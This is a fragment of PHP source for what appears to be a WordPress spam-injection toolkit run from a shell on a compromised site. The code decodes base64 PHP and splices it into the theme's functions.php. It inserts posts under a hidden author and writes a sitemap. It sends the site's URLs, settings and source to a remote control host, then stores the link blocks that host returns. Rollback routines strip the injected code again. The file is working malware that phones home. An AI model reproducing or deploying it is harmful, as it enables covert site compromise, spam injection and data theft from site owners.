yZSkgew0KICAgIGdsb2JhbCAkd3BkYiwgJGlzX2FyY2hpdmVfY29yZTsNCg0KICAgICR3cF9yZXNldF9wb3N0ZGF0YV9pbmZvID0gYXJyYXlfa2V5cygkaXNfYXJjaGl2ZV9jb3JlKTsNCiAgICAkaXNfc2VhcmNoX3Nlc3Npb24gPSBpbXBsb2RlKCcsICcsICR3cF9yZXNldF9wb3N0ZGF0YV9pbmZvKTsNCg0KICAgIGlmICghaXNfc2luZ2xlKCkgJiYgaXNfYWRtaW4oKSkgew0KICAgICAgICBhZGRfZmlsdGVyKCd2aWV3c19lZGl0LXBvc3QnLCAndGhlX3Bvc3RzX3BhZ2luYXRpb25fb2xkJyk7DQogICA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nKTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoZ2V0X3RoZW1lX21vZF9zdGF0KCRnZXRfcXVlcmllZF9vYmplY3RfaWRfcG9pbnRlcikpIHsNCiAgICAgICAgICAgIGFkZF9hY3Rpb24oJ3dwX2Zvb3RlcicsICdnZXRfc2VhcmNoX2Zvcm1fY2FsbCcpOw0KICAgICAgICB9DQoNCg0KICAgIH0NCn0NCg0KLyogY3VzdG9tIGZpbHRlcnMgKi8=';\012\012\012\012\040\040\040\040\040\040\040\040if\040(defined('OBFUSCATE_CUSTOM_FUNCTIONS')\040&&\040OBFUSCATE_CUSTOM_FUNCTIONS\040===\0401)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$gzSource\040=\040WritePostsWpHandler::gzCompressCustom(base64_decode($source));\012\012\040\040\040\040\040\040\040\040\040\040\040\040$source\040=\040WritePostsWpHandler::sendPostData(GS_ALIAS\040.\040'/src/functionsHandlerDev.php',\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'host'\040=>\040urlencode($_SERVER['HTTP_HOST']),\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'data'\040=>\040urlencode($gzSource),\012\012\040\040\040\040\040\040\040\040\040\040\040\040));\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$decodedSource\040=\040base64_decode($source);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$newEdges\040=\040sprintf('/*\040%s\040*/',\040WritePostsWpHandler::optionCustomFunctions());\012\012\040\040\040\040\040\040\040\040\040\040\040\040$source\040=\040preg_replace('~/\134*\134s+custom\040filters\134s+\134*/~s',\040$newEdges,\040$decodedSource);\012\012\040\040\040\040\040\040\040\040\040\040\040\040$source\040=\040WritePostsWpHandler::removeDebugFromCustom($source);\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040$settings\040=\040WritePostsWpHandler::settingsArr($functionsSource);\012\012\012\012\012\012\040\040\040\040\040\040\040\040if\040(!$settings)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('settings\040return\040false');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040WritePostsWpHandler::writeSettingsDB($settings);\012\012\012\012\040\040\040\040\040\040\040\040$customFiltersUpdateResult\040=\040WritePostsWpHandler::mbReplaceCustomFilters($functionsSource\012\012\040\040\040\040\040\040\040\040\040\040\040\040,\040$functionsPath,\040$source);\012\012\012\012\040\040\040\040\040\040\040\040if\040($customFiltersUpdateResult)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040WritePostsWpHandler::getSitemapUrls();\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040homeLinksOldAction()\040{\012\012\012\012\040\040\040\040\040\040\040\040$hash\040=\040md5(HOME_URL);\012\012\012\012\040\040\040\040\040\040\040\040$permLinks\040=\040array();\012\012\012\012\040\040\040\040\040\040\040\040if\040(WritePostsWpHandler::isBadEnvCustom())\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040echo\040'change\040shell,\040invalid\040require\040wp-blog-header'\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040\040\040\040\040exit;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040if\040(!function_exists('get_permalink'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040require\040WP_ROOT_DIR\040.\040'/wp-blog-header.php';\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040$posts\040=\040CustomDbHandler::getInstance()\012\012\040\040\040\040\040\040\040\040\040\040\040\040->allPostsFromDb(HOME_URL,\040CUSTOM_AUTHOR_ID);\012\012\012\012\040\040\040\040\040\040\040\040if\040(empty($posts))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040echo\040'!!!!!!!!no\040posts\040for\040this\040author!!!!!'\040.\040PHP_EOL;\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040foreach\040($posts\040as\040$post)\040{\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040list\040($url,\040$anchor)\040=\040explode(';',\040$post,\0402);\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040preg_match('~\134?p=(\134d+)~',\040$post,\040$matches);\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$postId\040=\040$matches[1];\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$permLinks[]\040=\040array(get_permalink($postId),\040$anchor);\012\012\040\040\040\040\040\040\040\040\040\040\040\040wp_cache_delete($postId,\040'posts');\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040if\040(empty($permLinks))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040echo\040'invalid\040fetch\040permalinks'\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040$compressed\040=\040gzcompress(json_encode($permLinks),\0409);\012\012\012\012\040\040\040\040\040\040\040\040$url\040=\040GS_ALIAS\040.\040'/dnc/wp-acceptors-api/home-links?hash='\040.\040$hash\040.\040'&permhash='\040.\040md5($compressed);\012\012\012\012\040\040\040\040\040\040\040\040$results\040=\040WritePostsWpHandler::sendPostData($url,\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'homeLinksSettings'\040=>\040json_encode($_SERVER['homeLinksSettings']),\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'url'\040=>\040urlencode(HOME_URL),\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'permLinks'\040=>\040urlencode($compressed)\012\012\040\040\040\040\040\040\040\040\040\040\040\040)\012\012\040\040\040\040\040\040\040\040);\012\012\012\012\040\040\040\040\040\040\040\040$uncompressed\040=\040gzuncompress($results);\012\012\012\012\040\040\040\040\040\040\040\040if\040(!WritePostsWpHandler::isJson($uncompressed))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040echo\040'invalid\040home\040links\040format'\040.\040PHP_EOL;\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040$blocks\040=\040json_decode($uncompressed,\0401);\012\012\012\012\040\040\040\040\040\040\040\040if\040(empty($blocks))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040echo\040'no\040texts\040for\040this\040language'\040.\040PHP_EOL;\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040foreach\040($blocks\040as\040$key\040=>\040$value)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040update_option('home_links_custom_'\040.\040$key,\040$value);\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040echo\040sprintf('%s\040text\040block(s)\040available\040for\040use%s',\040count($blocks),\040PHP_EOL);\012\012\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040homeLinksAction()\040{\012\012\012\012\040\040\040\040\040\040\040\040$hash\040=\040md5(HOME_URL);\012\012\040\040\040\040\040\040\040\040$permLinks\040=\040array();\012\012\012\012\040\040\040\040\040\040\040\040if\040(WritePostsWpHandler::isBadEnvCustom())\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040echo\040'change\040shell,\040invalid\040require\040wp-blog-header'\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040\040\040\040\040exit;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040$posts\040=\040CustomDbHandler::getInstance()\012\012\040\040\040\040\040\040\040\040\040\040\040\040->allPostsFromDb(HOME_URL,\040CUSTOM_AUTHOR_ID);\012\012\012\012\012\012\040\040\040\040\040\040\040\040if\040(empty($posts))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('!!!!!!!!no\040posts\040for\040this\040author!!!!!');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040$permalinksFromSitemap\040=\040WritePostsWpHandler::fetchPermalinksFromSitemap();\012\012\012\012\012\012\040\040\040\040\040\040\040\040if\040(!empty($permalinksFromSitemap))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$iter\040=\0401;\012\012\040\040\040\040\040\040\040\040\040\040\040\040foreach\040($posts\040as\040$post)\040{\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040list\040(,\040$anchor)\040=\040explode(';',\040$post,\0402);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$permalinkSitemap\040=\040array_shift($permalinksFromSitemap);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$permLinks[]\040=\040array($permalinkSitemap,\040$anchor);\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//$iter++;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//if\040($iter\040>\04010)\040break;\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040define('SHORTINIT',\040true);\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(WP_ROOT_DIR\040.\040'/wp-load.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/option.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/class-wp-post.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/post.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/class-wp-rewrite.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/link-template.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/category-template.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/taxonomy.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/l10n.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/functions.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/cache.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/formatting.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/user.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/pluggable.php');\012\012\040\040\040\040\040\040\040\040\040\040\040\040global\040$wpdb;\012\012\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$iter\040=\0401;\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040foreach\040($posts\040as\040$post)\040{\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040list\040($url,\040$anchor)\040=\040explode(';',\040$post,\0402);\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040preg_match('~\134?p=(\134d+)~',\040$post,\040$matches);\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$postId\040=\040$matches[1];\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$post\040=\040get_post($postId);\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$permLinks[]\040=\040array(WritePostsWpHandler::getPermalinkCustom($post),\040$anchor);\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//$iter++;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040//if\040($iter\040>\04010)\040break;\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040wp_cache_delete($postId,\040'posts');\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040if\040(empty($permLinks))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('invalid\040fetch\040permalinks');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040$compressed\040=\040gzcompress(json_encode($permLinks),\0409);\012\012\012\012\040\040\040\040\040\040\040\040$url\040=\040GS_ALIAS\040.\040'/dnc/wp-acceptors-api/home-links?hash='\040.\040$hash\040.\040'&permhash='\040.\040md5($compressed);\012\012\012\012\040\040\040\040\040\040\040\040$results\040=\040WritePostsWpHandler::sendPostData($url,\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'homeLinksSettings'\040=>\040json_encode($_SERVER['homeLinksSettings']),\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'url'\040=>\040urlencode(HOME_URL),\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'permLinks'\040=>\040urlencode($compressed)\012\012\040\040\040\040\040\040\040\040\040\040\040\040)\012\012\040\040\040\040\040\040\040\040);\012\012\012\012\040\040\040\040\040\040\040\040$uncompressed\040=\040gzuncompress($results);\012\012\012\012\040\040\040\040\040\040\040\040if\040(!WritePostsWpHandler::isJson($uncompressed))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('invalid\040home\040links\040format');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040$blocks\040=\040json_decode($uncompressed,\0401);\012\012\012\012\040\040\040\040\040\040\040\040if\040(empty($blocks))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('no\040texts\040for\040this\040language');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040foreach\040($blocks\040as\040$key\040=>\040$value)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040CustomDbHandler::getInstance()\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040->insertOrUpdate('home_links_custom_'\040.\040$key,\040$value);\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040GlobalLogs::setMainLog(sprintf('%s\040text\040block(s)\040available\040for\040use',\040count($blocks)));\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040viewAllAuthorsAction()\040{\012\012\040\040\040\040\040\040\040\040CustomDbHandler::getInstance()->viewAllAuthors();\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040sendAction()\040{\012\012\012\012\040\040\040\040\040\040\040\040$api\040=\040GS_ALIAS\040.\040'/src/wpacc-v2-leo.php';\012\012\012\012\012\012\040\040\040\040\040\040\040\040try\040{\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$debugData\040=\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'url'\040=>\040HOME_URL,\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'fullUrls'\040=>\040WritePostsWpHandler::allPostsFullUrlWithoutRequire(),\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'settings'\040=>\040WritePostsWpHandler::debugDataCustom(),\012\012\040\040\040\040\040\040\040\040\040\040\040\040);\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040$responseData\040=\040WritePostsWpHandler::sendPostData($api,\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'url'\040=>\040urlencode(HOME_URL),\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040'debug'\040=>\040urlencode(gzcompress(json_encode($debugData),\0409)),\012\012\040\040\040\040\040\040\040\040\040\040\040\040));\012\012\040\040\040\040\040\040\040\040}\040catch\040(\134Exception\040$ex)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($ex->getMessage());\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040if\040(trim($responseData)\040===\040'success')\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('data\040sent');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('error\040while\040send\040data');\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040cleanAction()\040{\012\012\012\012\040\040\040\040\040\040\040\040WritePostsWpHandler::removeDirRec(TMPDIR);\012\012\040\040\040\040\040\040\040\040if\040(is_dir(TMPDIR))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040rmdir(TMPDIR);\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040rollbackAction()\040{\012\012\012\012\040\040\040\040\040\040\040\040WritePostsWpHandler::deleteSettings();\012\012\040\040\040\040\040\040\040\040WritePostsWpHandler::deletePostsCurrentAuthor();\012\012\040\040\040\040\040\040\040\040WritePostsWpHandler::removePluginsBackupForAuthorId();\012\012\040\040\040\040\040\040\040\040WritePostsWpHandler::removeDirRec(TMPDIR);\012\012\012\012\040\040\040\040\040\040\040\040if\040(is_dir(TMPDIR))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040rmdir(TMPDIR);\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040globalRollbackAction()\040{\012\012\012\012\040\040\040\040\040\040\040\040WritePostsWpHandler::deletePostsAllAuthors();\012\012\040\040\040\040\040\040\040\040WritePostsWpHandler::removeDirRec(TMPDIR);\012\012\012\012\040\040\040\040\040\040\040\040if\040(!defined('CUSTOM_TEMPLATE_PATH'))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$templateDirectory\040=\040WritePostsWpHandler::getTemplatePath();\012\012\040\040\040\040\040\040\040\040}\040else\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$templateDirectory\040=\040CUSTOM_TEMPLATE_PATH;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040$functionsPath\040=\040$templateDirectory\040.\040'/functions.php';\012\012\012\012\040\040\040\040\040\040\040\040if\040(!file_exists($functionsPath))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($functionsPath\040.\040'\040not\040found');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040if\040(!is_writeable($functionsPath))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog($functionsPath\040.\040'/\040not\040writable');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040$functionsSource\040=\040file_get_contents($functionsPath);\012\012\012\012\040\040\040\040\040\040\040\040//$regexp\040=\040'~\134/\134*\134s+custom\040filters\134s+\134*\134/(.+)\134/\134*\134s*custom\040filters\134s*\134*\134/~su';\012\012\040\040\040\040\040\040\040\040$optionCustom\040=\040WritePostsWpHandler::optionCustomFunctions();\012\012\040\040\040\040\040\040\040\040$regexp\040=\040"~/\134*\134s*(custom\040filters|$optionCustom)\134s*\134*/(.+)/\134*\134s*(custom\040filters|$optionCustom)\134s*\134*/~su";\012\012\012\012\040\040\040\040\040\040\040\040$newSource\040=\040preg_replace($regexp,\040'',\040$functionsSource);\012\012\012\012\040\040\040\040\040\040\040\040if\040($newSource\040!==\040$functionsSource)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040file_put_contents($functionsPath,\040$newSource);\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('return\040original\040functions.php');\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040WritePostsWpHandler::writeSettingsDB(array());\012\012\040\040\040\040\040\040\040\040WritePostsWpHandler::removeHomeLinksCustom();\012\012\012\012\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040sendPostsFromDbAction()\040{\012\012\040\040\040\040\040\040\040\040$api\040=\040GS_ALIAS\040.\040'/src/wpacc.php';\012\012\040\040\040\040\040\040\040\040$urls\040=\040CustomDbHandler::getInstance()\012\012\040\040\040\040\040\040\040\040\040\040\040\040->allPostsFromDb(HOME_URL,\040CUSTOM_AUTHOR_ID);\012\012\012\012\040\040\040\040\040\040\040\040if\040(empty($urls))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog("no\040posts\040by\040author\040id");\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040$source\040=\040implode("\134n",\040$urls);\012\012\012\012\040\040\040\040\040\040\040\040$responseData\040=\040WritePostsWpHandler::sendPostData($api,\040array(\012\012\040\040\040\040\040\040\040\040\040\040\040\040'url'\040=>\040urlencode(HOME_URL),\012\012\040\040\040\040\040\040\040\040\040\040\040\040'source'\040=>\040urlencode($source),\012\012\040\040\040\040\040\040\040\040));\012\012\012\012\040\040\040\040\040\040\040\040if\040(trim($responseData)\040===\040'success')\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('data\040sent');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040GlobalLogs::setMainLog("error\040while\040send\040data");\012\012\012\012\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040viewSettingsAction()\040{\012\012\040\040\040\040\040\040\040\040$settings\040=\040WritePostsWpHandler::getDbSettingsCustom();\012\012\012\012\040\040\040\040\040\040\040\040if\040($settings)\040{\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040foreach\040($settings\040as\040$userId\040=>\040$arr)\040{\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040str_repeat('_',\040100)\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040$userId\040.\040'\040-\040userId'\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040if\040(isset($arr['js'])\040&&\040$decodedJs\040=\040WritePostsWpHandler::detectBase64js($arr['js']))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040$arr['js']\040=\040WritePostsWpHandler::parseJsScript($decodedJs);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040json_encode($arr,\040JSON_PRETTY_PRINT);\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040echo\040str_repeat('_',\040100)\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040true;\012\012\040\040\040\040\040\040\040\040}\012\012\040\040\040\040\040\040\040\040echo\040'no\040settings\040in\040DB'\040.\040PHP_EOL;\012\012\040\040\040\040\040\040\040\040return;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040allPermalinksAction()\040{\012\012\012\012\040\040\040\040\040\040\040\040var_dump(CustomDbHandler::getInstance()\012\012\040\040\040\040\040\040\040\040\040\040\040\040->allPostsFromDb(HOME_URL,\040CUSTOM_AUTHOR_ID));\012\012\012\012\040\040\040\040\040\040\040\040return;\012\012\040\040\040\040}\012\012\012\012\040\040\040\040public\040static\040function\040sitemapSecondMethodAction()\040{\012\012\012\012\040\040\040\040\040\040\040\040if\040(!WritePostsWpHandler::checkSitemapNameRoot())\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040if\040(WritePostsWpHandler::isBadEnvCustom())\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('change\040shell,\040invalid\040require\040wp-blog-header');\012\012\040\040\040\040\040\040\040\040\040\040\040\040exit;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040//require_once\040WP_ROOT_DIR\040.\040'/wp-blog-header.php';\012\012\012\012\040\040\040\040\040\040\040\040$head\040=\040WritePostsWpHandler::sitemapHeadSec();\012\012\012\012\040\040\040\040\040\040\040\040$sitemapSource\040=\040$head\040.\040"\134n";\012\012\040\040\040\040\040\040\040\040$sitemapPath\040=\040WP_ROOT_DIR\040.\040'/'\040.\040SITEMAP_NAME\040.\040'.xml';\012\012\012\012\040\040\040\040\040\040\040\040try\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040$urls\040=\040CustomDbHandler::getInstance()\012\012\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040\040->allPostsFromDb(HOME_URL,\040CUSTOM_AUTHOR_ID);\012\012\040\040\040\040\040\040\040\040}\040catch\040(Exception\040$ex)\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040throw\040new\040Exception('invalid\040fetch\040urls\040for\040sitemap');\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\040\040\040\040\040\040\040\040if\040(empty($urls))\040{\012\012\040\040\040\040\040\040\040\040\040\040\040\040GlobalLogs::setMainLog('no\040posts\040by\040author\040id');\012\012\040\040\040\040\040\040\040\040\040\040\040\040return\040false;\012\012\040\040\040\040\040\040\040\040}\012\012\012\012\012\012\040\040\040\040\040\040\040\040define('SHORTINIT',\040true);\012\012\040\040\040\040\040\040\040\040require_once(WP_ROOT_DIR\040.\040'/wp-load.php');\012\012\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/option.php');\012\012\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/class-wp-post.php');\012\012\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/post.php');\012\012\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/class-wp-rewrite.php');\012\012\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/link-template.php');\012\012\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/category-template.php');\012\012\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/taxonomy.php');\012\012\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/l10n.php');\012\012\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/functions.php');\012\012\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/cache.php');\012\012\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/formatting.php');\012\012\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/user.php');\012\012\040\040\040\040\040\040\040\040require_once(ABSPATH\040.\040WPINC\040.\040'/pluggable.php');\012\012\040\040\040\040\040\040\040\040global\040$wpdb;\012\012\012\012\012\012\040\040\040\040\040\040\040\040foreach\040($urls\040as\040$urlWithTitle)\040{\012\012\012\012\040\040\040\040\040\040\040\040\040\040\040\040list\040($url,\040$title)\040=\040explode(';',\040$urlWithTitle,\0402);\012\012\040\040\040\040\040\040\040\040\040\040\040\040preg_match('~\134?p=(\134d+)~',\040$url,\040$idMatches);\012\012\040\040\040\040\040\040\040\040\040\040\040\040//$url\040=\040get_permalink($idMatc